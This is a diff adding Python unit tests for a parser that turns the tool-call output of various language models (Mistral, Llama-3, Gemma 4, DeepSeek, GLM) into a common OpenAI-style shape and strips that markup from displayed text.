+        text = '[TOOL_CALLS] [{"name":"a","arguments":"{\\"x\\":1}"}]'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert json.loads(result[0]["function"]["arguments"]) == {"x": 1}
+
+    def test_mistral_array_scalar_string_argument_not_double_encoded(self):
+        # A bare scalar string argument in the Mistral array form must be kept
+        # raw, exactly like the <tool_call> path, so the downstream argument
+        # healer wraps ``weather`` into the single-string tool's key -- not
+        # ``"weather"`` with literal quotes from a redundant json.dumps.
+        array = parse_tool_calls_from_text(
+            '[TOOL_CALLS][{"name":"web_search","arguments":"weather"}]'
+        )
+        xml = parse_tool_calls_from_text(
+            '<tool_call>{"name":"web_search","arguments":"weather"}</tool_call>'
+        )
+        assert array[0]["function"]["arguments"] == xml[0]["function"]["arguments"] == "weather"
+        healed = _coerce_arguments(
+            array[0]["function"]["arguments"], heal = True, tool_name = "web_search"
+        )
+        assert healed == {"query": "weather"}
+
+    def test_mistral_array_strip_keeps_trailing_prose(self):
+        # The array form must be removed whole, not deleted to end-of-string.
+        text = 'answer [TOOL_CALLS] [{"name":"a","arguments":{}}] tail'
+        assert strip_tool_markup(text, final = True) == "answer  tail"
+
+    def test_mistral_and_rehearsal_in_one_message_both_parse(self):
+        # A Mistral call and a rehearsal call together: both must parse.
+        text = '[TOOL_CALLS]a{"x":1} then b[ARGS]{"y":2}'
+        result = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in result] == ["a", "b"]
+
+    def test_mistral_v11_call_id_is_not_the_function_name(self):
+        # v11 shape: the function name is ``name``, never the opaque call-id token.
+        result = parse_tool_calls_from_text('[TOOL_CALLS]get_weather[CALL_ID]abc123[ARGS]{"q":"x"}')
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_weather"
+        assert json.loads(result[0]["function"]["arguments"]) == {"q": "x"}
+        # v11 without a call-id parses the same name.
+        r2 = parse_tool_calls_from_text('[TOOL_CALLS]get_weather[ARGS]{"q":"y"}')
+        assert r2[0]["function"]["name"] == "get_weather"
+
+    def test_strip_preserves_rehearsal_inside_think(self):
+        # A rehearsal inside <think> is reasoning; strip keeps it verbatim.
+        text = '<think>plan: search[ARGS]{"q":"x"}</think> A'
+        out = strip_tool_markup(text, final = True)
+        assert out == text
+        assert "search[ARGS]" in out
+
+    def test_streaming_strip_preserves_rehearsal_inside_think(self):
+        # The streaming strip must also preserve a think rehearsal: a mid-stream strip shrinks
+        # then regrows the cumulative text (corrupts append-by-length consumers). Matches GGUF.
+        text = '<think>plan: search[ARGS]{"q":"x"}</think> A'
+        assert strip_tool_markup_streaming(text) == text
+        assert strip_tool_markup_streaming(text, tool_protocol_active = True) == text
+        # An unclosed block during streaming is preserved too (the parser keeps it).
+        partial = '<think>plan: search[ARGS]{"q":"x"}'
+        assert strip_tool_markup_streaming(partial, tool_protocol_active = True) == partial
+
+    def test_streaming_strip_still_removes_real_call_outside_think(self):
+        # The think guard must not stop the streaming strip removing a call outside the block.
+        text = '<think>reason</think> web_search[ARGS]{"q":"x"}'
+        out = strip_tool_markup_streaming(text, tool_protocol_active = True)
+        assert "web_search[ARGS]" not in out
+        assert "<think>reason</think>" in out
+
+    def test_strip_bracket_calls_is_linear(self):
+        # Many complete bracket calls must strip in ~linear time (was O(n^2) per match).
+        import time
+
+        text = '[TOOL_CALLS]f{"a":1}' * 4000  # ~80KB, 4000 complete calls
+        t0 = time.perf_counter()
+        out = strip_tool_markup(text, final = True)
+        elapsed = time.perf_counter() - t0
+        assert "[TOOL_CALLS]" not in out
+        assert elapsed < 1.0, f"strip took {elapsed * 1000:.0f}ms on 4000 bracket calls"
+
+    def test_streaming_strip_handles_nested_mistral_json(self):
+        # The non-greedy [TOOL_CALLS]name{...} pattern truncates nested JSON at the first }; the
+        # balanced helper must remove the whole call so no trailing brace leaks to the streaming ...
+        raw = 'ok [TOOL_CALLS]foo{"a":{"b":1}} tail'
+        out = strip_tool_markup_streaming(raw)
+        assert "[TOOL_CALLS]" not in out
+        assert "}" not in out
+        assert "ok " in out and "tail" in out
+
+    def test_streaming_strip_handles_nested_wrapperless_gemma(self):
+        # Same class of bug for the wrapper-less Gemma call:NAME{...} form with a
+        # nested object argument.
+        raw = "ok call:f{loc:{city:NYC},n:3} tail"
+        out = strip_tool_markup_streaming(raw)
+        assert "call:f" not in out
+        assert "}" not in out
+        assert "ok " in out and "tail" in out
+
+    def test_streaming_strip_keeps_prose_after_function_xml_with_literal_marker(self):
+        # A literal ``<function=...>`` in a value is data: the strip must close at the REAL
+        # ``</function>`` and keep trailing prose (the open-ended regex ate to EOF).
+        raw = (
+            "pref <function=python><parameter=code>"
+            'print("<function=x>")</parameter></function> tail'
+        )
+        assert strip_tool_markup_streaming(raw) == "pref  tail"
+        # Streaming and final strip agree on the visible text (final also trims).
+        assert strip_tool_markup_streaming(raw) == strip_tool_markup(raw, final = True)
+
+    def test_streaming_strip_drops_leading_magistral_reasoning(self):
+        # Magistral emits reasoning as a leading ``[THINK]...[/THINK]`` bracket block
+        # (not the ``<think>`` the reasoning channel renders). The streaming display
+        # strip must drop it so the raw chain-of-thought does not leak into the
+        # safetensors content; GGUF routes it to reasoning_content natively.
+        closed = "[THINK]Let me think. 2+2 is 4.[/THINK]The answer is 4."
+        assert strip_tool_markup_streaming(closed) == "The answer is 4."
+        assert strip_tool_markup_streaming(closed) == strip_tool_markup(closed, final = True)
+        # Unclosed mid-stream reasoning is held from the marker on (nothing leaks, and
+        # the cleaned text only grows as the answer streams in after ``[/THINK]``).
+        assert strip_tool_markup_streaming("[THINK]still thinking") == ""
+        assert strip_tool_markup_streaming("[THINK]r[/THINK]The") == "The"
+        assert strip_tool_markup_streaming("[THINK]r[/THINK]The answer") == "The answer"
+        # A non-leading ``[THINK]`` is ordinary prose and is left untouched.
+        assert strip_tool_markup_streaming("hi [THINK] later") == "hi [THINK] later"
+
+
+class TestParserMultiFormat:
+    """Shared-parser coverage: every family's emission maps to the same OpenAI shape."""
+
+    # Llama-3
+
+    def test_llama3_python_tag_dot_call(self):
+        # Llama-3 built-in tools: <|python_tag|>NAME.call(k="v", ...).
+        import json
+
+        text = '<|python_tag|>brave_search.call(query="weather in Tokyo")'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "brave_search"
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"query": "weather in Tokyo"}
+
+    def test_llama3_python_tag_dot_call_multi_arg(self):
+        import json
+
+        text = "<|python_tag|>get_weather.call(" 'location="Tokyo", units="celsius", days=5)'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"location": "Tokyo", "units": "celsius", "days": 5}
+
+    def test_llama3_python_tag_json_form(self):
+        import json
+
+        text = '<|python_tag|>{"name":"web_search","parameters":{"query":"hi","n":5}}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"query": "hi", "n": 5}
+
+    def test_llama3_python_tag_json_form_with_eom(self):
+        # Llama-3 emits ``<|eom_id|>`` after the JSON; must not break parsing.
+        import json
+
+        text = '<|python_tag|>{"name":"python","parameters":{"code":"print(2+2)"}}<|eom_id|>'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"code": "print(2+2)"}
+
+    def test_llama3_strip_markup_final(self):
+        text = '<|python_tag|>brave_search.call(query="x")'
+        assert strip_tool_markup(text, final = True) == ""
+
+    def test_llama3_python_tag_json_form_non_scalar_args_skipped(self):
+        # Should NOT fabricate ``{"value": args}`` when the JSON form
+        # has a non-dict / non-string ``arguments`` value.
+        for bad in (
+            '<|python_tag|>{"name":"foo","arguments":42}',
+            '<|python_tag|>{"name":"foo","arguments":[1,2,3]}',
+            '<|python_tag|>{"name":"foo","arguments":null}',
+            '<|python_tag|>{"name":"foo","arguments":true}',
+        ):
+            assert parse_tool_calls_from_text(bad) == [], bad
+
+    # ── Llama-3.2 bare JSON ``custom_tools`` ─────────────────────
+
+    def test_llama3_2_bare_json_parameters(self):
+        # Llama-3.2-Instruct emits bare JSON directly as content; no
+        # <|python_tag|> prefix per its training template.
+        import json
+
+        text = '{"name":"web_search","parameters":{"query":"Tokyo weather"}}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"query": "Tokyo weather"}
+
+    def test_llama3_2_bare_json_arguments_key(self):
+        import json
+
+        text = '{"name":"add","arguments":{"a":1,"b":2}}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"a": 1, "b": 2}
+
+    def test_llama3_2_bare_json_multi_call(self):
+        # Llama-3 may chain calls with ``; `` per training template.
+        text = '{"name":"a","parameters":{}}; {"name":"b","parameters":{}}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 2
+        assert result[0]["function"]["name"] == "a"
+        assert result[1]["function"]["name"] == "b"
+
+    def test_llama3_2_bare_json_with_eom_sentinel(self):
+        text = '{"name":"x","parameters":{"y":1}}<|eom_id|>'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "x"
+
+    def test_llama3_2_bare_json_leading_sentinel_skipped(self):
+        # Sometimes prior <|eot_id|> leaks into the next turn.
+        text = '<|eot_id|>{"name":"x","parameters":{}}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "x"
+
+    def test_llama3_2_bare_json_plain_prose_does_not_fire(self):
+        # Defensive: must NOT fire on plain assistant prose.
+        text = "Hello world, how are you today?"
+        assert parse_tool_calls_from_text(text) == []
+
+    def test_llama3_2_bare_json_embedded_in_prose_does_not_fire(self):
+        # Defensive: JSON embedded in prose must NOT fire (parser is
+        # strict about content STARTING with `{`).
+        text = 'The tool result was: {"name":"foo"}'
+        assert parse_tool_calls_from_text(text) == []
+
+    def test_llama3_2_bare_json_missing_name_does_not_fire(self):
+        text = '{"result":"ok","data":[1,2,3]}'
+        assert parse_tool_calls_from_text(text) == []
+
+    def test_llama3_2_bare_json_missing_args_does_not_fire(self):
+        text = '{"name":"x"}'
+        assert parse_tool_calls_from_text(text) == []
+
+    def test_llama3_2_bare_json_args_not_dict_does_not_fire(self):
+        text = '{"name":"x","parameters":42}'
+        assert parse_tool_calls_from_text(text) == []
+
+    def test_llama3_2_bare_json_string_parameters_does_not_fire(self):
+        # Llama-3 spec: parameters must be a dict. Prose like
+        # ``{"name":"foo","parameters":"a sentence"}`` must NOT trigger.
+        text = '{"name":"foo","parameters":"this is a sentence"}'
+        assert parse_tool_calls_from_text(text) == []
+
+    def test_llama3_2_bare_json_string_arguments_not_json_does_not_fire(self):
+        # OpenAI ``arguments`` may be a JSON-string of a dict, but a
+        # plain non-JSON string must not pass the guard.
+        text = '{"name":"foo","arguments":"not json"}'
+        assert parse_tool_calls_from_text(text) == []
+
+    def test_llama3_2_bare_json_string_arguments_json_dict_fires(self):
+        # OpenAI shape: arguments is a JSON-encoded string of a dict.
+        text = '{"name":"foo","arguments":"{\\"q\\":\\"x\\"}"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "foo"
+        # arguments stays as the original JSON-string.
+        assert result[0]["function"]["arguments"] == '{"q":"x"}'
+
+    def test_llama3_2_bare_json_string_arguments_json_non_dict_does_not_fire(self):
+        # JSON-string that parses to a list / scalar / null must NOT fire.
+        for bad in (
+            '{"name":"foo","arguments":"[1,2,3]"}',
+            '{"name":"foo","arguments":"\\"plain\\""}',
+            '{"name":"foo","arguments":"null"}',
+            '{"name":"foo","arguments":"42"}',
+        ):
+            assert parse_tool_calls_from_text(bad) == [], bad
+
+    # Mistral pre-v11
+
+    def test_mistral_pre_v11_array(self):
+        import json
+
+        text = '[TOOL_CALLS] [{"name":"web_search","arguments":{"query":"hello"},"id":"abc"}]'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+        # Mistral provides its own id; preserve it.
+        assert result[0]["id"] == "abc"
+        assert json.loads(result[0]["function"]["arguments"]) == {"query": "hello"}
+
+    def test_mistral_array_parameters_key_alias(self):
+        import json
+
+        # Array object keyed on ``parameters`` (not ``arguments``) must keep its
+        # payload, matching the JSON/XML paths and SGLang's base detector.
+        text = '[TOOL_CALLS] [{"name":"get_weather","parameters":{"city":"Paris"}}]'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_weather"
+        assert json.loads(result[0]["function"]["arguments"]) == {"city": "Paris"}
+
+    def test_mistral_pre_v11_array_multi(self):
+        text = (
+            '[TOOL_CALLS] [{"name":"a","arguments":{"x":1},"id":"id1"},'
+            '{"name":"b","arguments":{"y":2},"id":"id2"}]'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 2
+        assert result[0]["function"]["name"] == "a"
+        assert result[1]["function"]["name"] == "b"
+
+    def test_mistral_pre_v11_unclosed_array(self):
+        # Closing ``]`` truncated -- parser must heal off individual objects.
+        text = '[TOOL_CALLS] [{"name":"web_search","arguments":{"q":"x"},"id":"id"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    # Mistral v11+
+
+    def test_mistral_v11_single(self):
+        # Magistral / Mistral Small 3.1: bare ``name{json}`` after trigger.
+        import json
+
+        text = '[TOOL_CALLS]add{"a":3.5,"b":4}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "add"
+        assert json.loads(result[0]["function"]["arguments"]) == {"a": 3.5, "b": 4}
+
+    def test_mistral_v11_parallel(self):
+        # v11+ parallel: ``[TOOL_CALLS]a{...}[TOOL_CALLS]b{...}``.
+        text = '[TOOL_CALLS]add{"a":1}[TOOL_CALLS]sub{"b":2}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 2
+        assert result[0]["function"]["name"] == "add"
+        assert result[1]["function"]["name"] == "sub"
+
+    def test_mistral_v11_with_args_marker(self):
+        # Ministral / Mistral Large 3: ``[TOOL_CALLS]name[ARGS]{json}``.
+        import json
+
+        text = '[TOOL_CALLS]add[ARGS]{"a":1,"b":2}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "add"
+        assert json.loads(result[0]["function"]["arguments"]) == {"a": 1, "b": 2}
+
+    def test_mistral_strip_markup_v11(self):
+        text = '[TOOL_CALLS]add{"a":1}'
+        assert strip_tool_markup(text, final = True) == ""
+
+    def test_mistral_call_id_form(self):
+        # Mistral Small 3.2: ``[TOOL_CALLS]name[CALL_ID]<id>[ARGS]{json}``.
+        # The ``[CALL_ID]`` segment must be skipped, not treated as a stop
+        # (llama.cpp test-chat.cpp:4785 parses this to one call).
+        import json
+
+        text = '[TOOL_CALLS]special_function[CALL_ID]123456789[ARGS]{"arg1": 1}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "special_function"
+        assert json.loads(result[0]["function"]["arguments"]) == {"arg1": 1}
+
+    def test_mistral_call_id_form_parallel(self):
+        text = (
+            '[TOOL_CALLS]special_function[CALL_ID]000000001[ARGS]{"arg1": 1}'
+            "[TOOL_CALLS]special_function_with_opt[CALL_ID]000000002"
+            '[ARGS]{"arg1": 1, "arg2": 2}'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 2
+        assert result[0]["function"]["name"] == "special_function"
+        assert result[1]["function"]["name"] == "special_function_with_opt"
+
+    def test_mistral_call_id_form_stripped(self):
+        text = '[TOOL_CALLS]special_function[CALL_ID]123456789[ARGS]{"arg1": 1}'
+        assert strip_tool_markup(text, final = True) == ""
+
+    def test_mistral_think_reasoning_ignored(self):
+        # Magistral wraps reasoning in ``[THINK]...[/THINK]``. A ``[TOOL_CALLS]``
+        # inside the reasoning is chain-of-thought, not a real call; only the
+        # call after ``[/THINK]`` counts (llama.cpp test-chat.cpp:2285).
+        import json
+
+        text = (
+            '[THINK]Let me think about [TOOL_CALLS]fake[ARGS]{"x":1} '
+            'and more[/THINK][TOOL_CALLS]real_fn[ARGS]{"y":2}'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "real_fn"
+        assert json.loads(result[0]["function"]["arguments"]) == {"y": 2}
+
+    def test_mistral_think_reasoning_no_real_call(self):
+        # Reasoning that merely mentions a tool call but does not emit one
+        # after ``[/THINK]`` yields no calls.
+        text = '[THINK]I might call [TOOL_CALLS]fake[ARGS]{"x":1}[/THINK]Done.'
+        assert parse_tool_calls_from_text(text) == []
+
+    def test_mistral_think_literal_in_argument_preserved(self):
+        # A literal ``[THINK]`` inside a real tool argument (after the call)
+        # must not be stripped or corrupt the parse.
+        import json
+
+        text = '[TOOL_CALLS]search[ARGS]{"q":"explain the [THINK] token"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert json.loads(result[0]["function"]["arguments"]) == {"q": "explain the [THINK] token"}
+
+    # Gemma 4
+
+    def test_gemma4_simple_call(self):
+        import json
+
+        text = (
+            "<|tool_call>call:get_weather{"
+            'location:<|"|>Tokyo<|"|>,units:<|"|>celsius<|"|>}<tool_call|>'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_weather"
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"location": "Tokyo", "units": "celsius"}
+
+    def test_gemma4_with_primitives(self):
+        import json
+
+        text = (
+            "<|tool_call>call:set_pref{"
+            "enabled:true,attempts:5,threshold:1.5,nickname:null}<tool_call|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"enabled": True, "attempts": 5, "threshold": 1.5, "nickname": None}
+
+    def test_gemma4_nested_args(self):
+        # Gemma 4 nests dicts / lists with bare keys and ``<|"|>`` strings.
+        import json
+
+        text = (
+            "<|tool_call>call:search{"
+            'query:<|"|>foo<|"|>,filters:{site:<|"|>example.com<|"|>,recent:true},'
+            'tags:[<|"|>a<|"|>,<|"|>b<|"|>]}<tool_call|>'
+        )
+        result = parse_tool_calls_from_text(text)
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args["query"] == "foo"
+        assert args["filters"] == {"site": "example.com", "recent": True}
+        assert args["tags"] == ["a", "b"]
+
+    def test_gemma4_multi_call(self):
+        text = "<|tool_call>call:a{x:1}<tool_call|><|tool_call>call:b{y:2}<tool_call|>"
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 2
+        assert result[0]["function"]["name"] == "a"
+        assert result[1]["function"]["name"] == "b"
+
+    def test_gemma4_unclosed_does_not_raise(self):
+        # Truncated mid-stream; must not raise.
+        text = '<|tool_call>call:foo{x:<|"|>bar<|"|>'
+        result = parse_tool_calls_from_text(text)
+        assert isinstance(result, list)
+
+    def test_gemma4_strip_markup_final(self):
+        text = "<|tool_call>call:foo{x:1}<tool_call|>"
+        assert strip_tool_markup(text, final = True) == ""
+
+    # ── Gemma 4 wrapper-less (skip_special_tokens stripped) ───────────
+
+    def test_gemma4_bare_stripped_call(self):
+        # skip_special_tokens removes <|tool_call>/<tool_call|> and <|"|>,
+        # leaving a bare call:NAME{...} with an unquoted value.
+        import json
+
+        text = "call:web_search{query:weather in San Francisco right now}"
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"query": "weather in San Francisco right now"}
+
+    def test_gemma4_bare_code_with_commas(self):
+        # A code value with commas must not truncate at the first comma.
+        import json
+
+        text = (
+            "call:python{code:def f(n):\n    a, b = 0, 1\n"
+            "    for _ in range(2, n+1):\n        a, b = b, a + b\n"
+            "    return b\n\nprint(f(30))}"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert result[0]["function"]["name"] == "python"
+        code = json.loads(result[0]["function"]["arguments"])["code"]
+        assert "a, b = 0, 1" in code and "print(f(30))" in code
+
+    def test_gemma4_bare_quotes_normalized(self):
+        # The same value quoted vs unquoted must parse identically so the
+        # agentic loop can collapse a looping model's repeated calls.
+        import json
+
+        a = parse_tool_calls_from_text('call:web_search{query:"foo bar"}')
+        b = parse_tool_calls_from_text("call:web_search{query:foo bar}")
+        assert json.loads(a[0]["function"]["arguments"]) == {"query": "foo bar"}
+        assert json.loads(a[0]["function"]["arguments"]) == json.loads(
+            b[0]["function"]["arguments"]
+        )
+
+    def test_gemma4_bare_multi_arg(self):
+        import json
+
+        text = "call:web_search{query:pytorch latest, url:https://pytorch.org}"
+        result = parse_tool_calls_from_text(text)
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"query": "pytorch latest", "url": "https://pytorch.org"}
+
+    def test_gemma4_bare_not_matched_in_prose(self):
+        # A word ending in "call:" must not trigger a bare tool call.
+        text = "I will recall:that the function{ } is helpful."
+        result = parse_tool_calls_from_text(text)
+        assert result == []
+
+    def test_gemma4_bare_strip_markup_final(self):
+        text = "Here you go: call:web_search{query:weather today}"
+        assert "call:web_search" not in strip_tool_markup(text, final = True)
+
+    # ── Cross-format sentinels ────────────────────────────────────
+
+    def test_all_markers_in_tool_xml_signals(self):
+        # Streaming buffer wakes up on every emission marker.
+        from core.inference.tool_call_parser import TOOL_XML_SIGNALS
+        for marker in (
+            "<tool_call>",
+            "<function=",
+            "<|python_tag|>",
+            "[TOOL_CALLS]",
+            "<|tool_call>",
+        ):
+            assert marker in TOOL_XML_SIGNALS, f"streaming loop would not wake on {marker!r}"
+
+    def test_has_tool_signal_for_all_formats(self):
+        assert has_tool_signal('<|python_tag|>brave_search.call(q="x")')
+        assert has_tool_signal('[TOOL_CALLS] [{"name":"x"}]')
+        assert has_tool_signal('[TOOL_CALLS]add{"a":1}')
+        assert has_tool_signal("<|tool_call>call:foo{}<tool_call|>")
+
 
 # ────────────────────────────────────────────────────────────────────
 # run_safetensors_tool_loop
@@ -257,6 +1179,7 @@ class FakeExecuteTool:
         cancel_event = None,
         timeout = None,
         session_id = None,
+        thread_id = None,
         rag_scope = None,
         disable_sandbox = False,
     ):
@@ -312,6 +1235,553 @@ def _make_loop(
     ), exec_fn
 
 
+class TestParserDeepSeek:
+    """DeepSeek R1 / V3 / V3.1 coverage. Markers use full-width pipes
+    (U+FF5C) and lower-one-eighth-block (U+2581). R1 wraps args in a
+    Markdown ``` ```json ``` ``` fence; V3 / V3.1 emit bare JSON."""
+
+    def test_r1_simple_call_with_code_fence(self):
+        import json as _json
+
+        text = (
+            "<｜tool▁calls▁begin｜>"
+            "<｜tool▁call▁begin｜>function"
+            "<｜tool▁sep｜>special_function\n"
+            "```json\n"
+            '{"arg1": 1}\n'
+            "```"
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "special_function"
+        assert _json.loads(result[0]["function"]["arguments"]) == {"arg1": 1}
+
+    def test_r1_short_form_outer_marker(self):
+        # llama.cpp accepts ``<｜tool▁calls｜>`` as the short-form opener.
+        import json as _json
+
+        text = (
+            "<｜tool▁calls｜>function"
+            "<｜tool▁sep｜>get_time\n"
+            "```json\n"
+            '{"city": "Paris"}\n'
+            "```"
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_time"
+
+    def test_v3_1_bare_json(self):
+        # V3 / V3.1 omit the ``function`` prefix and the code fence.
+        import json as _json
+
+        text = (
+            "<｜tool▁calls▁begin｜>"
+            "<｜tool▁call▁begin｜>get_time"
+            "<｜tool▁sep｜>"
+            '{"city": "Tokyo"}'
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_time"
+        assert _json.loads(result[0]["function"]["arguments"]) == {"city": "Tokyo"}
+
+    def test_v3_1_multi_call_shares_envelope(self):
+        # Parallel calls share one outer envelope; each inner call has
+        # its own ``<｜tool▁call▁begin｜>...<｜tool▁call▁end｜>``.
+        text = (
+            "<｜tool▁calls▁begin｜>"
+            "<｜tool▁call▁begin｜>get_time"
+            "<｜tool▁sep｜>"
+            '{"city": "Paris"}'
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁call▁begin｜>get_weather"
+            "<｜tool▁sep｜>"
+            '{"city": "Paris"}'
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 2
+        assert result[0]["function"]["name"] == "get_time"
+        assert result[1]["function"]["name"] == "get_weather"
+
+    def test_v3_1_with_reasoning(self):
+        # Reasoning <think>...</think> precedes the tool block.
+        text = (
+            "<think>I'm thinking</think>\n"
+            "<｜tool▁calls▁begin｜>"
+            "<｜tool▁call▁begin｜>get_time"
+            "<｜tool▁sep｜>"
+            '{"city": "Tokyo"}'
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_time"
+
+    def test_v3_1_strict_rejects_unclosed_envelope(self):
+        # Envelope truncated mid-stream (no <｜tool▁calls▁end｜>): healed by
+        # default, rejected with Auto-Heal off.
+        text = (
+            "<｜tool▁calls▁begin｜>"
+            "<｜tool▁call▁begin｜>get_time"
+            "<｜tool▁sep｜>"
+            '{"city": "Tokyo"}'
+        )
+        assert len(parse_tool_calls_from_text(text)) == 1
+        assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+
+    def test_v3_1_multi_call_recovers_when_first_end_marker_missing(self):
+        # First inner call omits its <｜tool▁call▁end｜>; the second must still be parsed.
+        text = (
+            "<｜tool▁calls▁begin｜>"
+            "<｜tool▁call▁begin｜>get_time"
+            "<｜tool▁sep｜>"
+            '{"city": "Paris"}'
+            "<｜tool▁call▁begin｜>get_weather"
+            "<｜tool▁sep｜>"
+            '{"city": "Paris"}'
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in result] == ["get_time", "get_weather"]
+
+    def test_v3_1_strict_recovers_after_missing_call_end(self):
+        # Strict mode (Auto-Heal off): the FIRST inner call is missing its <｜tool▁call▁end｜>
+        # terminator, so it is skipped -- but the parser must keep scanning and still return the ...
+        text = (
+            "<｜tool▁calls▁begin｜>"
+            "<｜tool▁call▁begin｜>get_weather"
+            "<｜tool▁sep｜>"
+            '{"city": "SF"}'
+            "<｜tool▁call▁begin｜>get_time"
+            "<｜tool▁sep｜>"
+            '{"tz": "PST"}'
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+        )
+        # Auto-Heal keeps both; strict skips the truncated first, keeps the second.
+        assert [c["function"]["name"] for c in parse_tool_calls_from_text(text)] == [
+            "get_weather",
+            "get_time",
+        ]
+        strict = parse_tool_calls_from_text(text, allow_incomplete = False)
+        assert [c["function"]["name"] for c in strict] == ["get_time"]
+
+    def test_r1_strict_recovers_after_missing_close_fence(self):
+        # R1 form.
+        text = (
+            "<｜tool▁calls▁begin｜>"
+            "function<｜tool▁sep｜>get_weather\n```json\n"
+            '{"city": "SF"}'
+            "function<｜tool▁sep｜>get_time\n```json\n"
+            '{"tz": "PST"}'
+            "\n```<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+        )
+        strict = parse_tool_calls_from_text(text, allow_incomplete = False)
+        assert [c["function"]["name"] for c in strict] == ["get_time"]
+
+    def test_deepseek_strip_markup(self):
+        text = (
+            "before "
+            "<｜tool▁calls▁begin｜>"
+            "<｜tool▁call▁begin｜>foo"
+            "<｜tool▁sep｜>"
+            "{}"
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+            " after"
+        )
+        assert strip_tool_markup(text, final = True) == "before  after"
+
+    def test_deepseek_signal_wakes_streaming(self):
+        # The streaming buffer state machine must wake on the DeepSeek opener so the rest of the
+        # section is drained instead of leaked.
+        text = "<｜tool▁calls▁begin｜>..."
+        assert has_tool_signal(text)
+
+    def test_deepseek_short_opener_is_stripped(self):
+        # The short ``<｜tool▁calls｜>`` opener is parsed, so its markup must also be stripped (the
+        # strip patterns used to require ...calls_begin and left the short-opener markup leaking to ...
+        text = (
+            "before "
+            "<｜tool▁calls｜>"
+            "<｜tool▁call▁begin｜>foo"
+            "<｜tool▁sep｜>"
+            "{}"
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+            " after"
+        )
+        assert strip_tool_markup(text, final = True) == "before  after"
+
+
+class TestParserGLM:
+    """GLM 4.5 / 4.6 / 4.7 coverage. Marker collides with Qwen's
+    ``<tool_call>`` but the body shape is XML kv pairs instead of JSON,
+    so the dispatch order keeps both formats working."""
+
+    def test_glm_simple_call(self):
+        import json as _json
+
+        text = (
+            "<tool_call>web_search\n"
+            "<arg_key>query</arg_key>\n"
+            "<arg_value>weather Tokyo</arg_value>\n"
+            "</tool_call>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+        args = _json.loads(result[0]["function"]["arguments"])
+        # Strings come through raw; the parser does not double-quote.
